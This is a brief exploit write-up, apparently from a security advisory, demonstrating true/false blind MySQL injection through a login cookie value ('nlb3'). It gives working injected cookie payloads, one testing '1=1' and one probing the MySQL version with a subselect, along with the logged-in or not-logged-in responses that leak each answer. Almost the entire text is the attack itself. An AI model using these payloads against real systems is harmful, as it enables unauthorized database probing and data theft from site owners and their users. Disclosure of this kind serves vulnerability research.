– Exploit –

True/false method to blind mysql injection. Examples:

javascript:document.cookie = "nlb3=7 and 1=1::96e79218965eb72c92a549dd5a330112"
Response: You appears as logged in

Response: You appears as not logged in

javascript:document.cookie = "nlb3=7 and (select
substring(version(),1,1))=4::96e79218965eb72c92a549dd5a330112
Response: You appears as logged in if MySQL version is 4
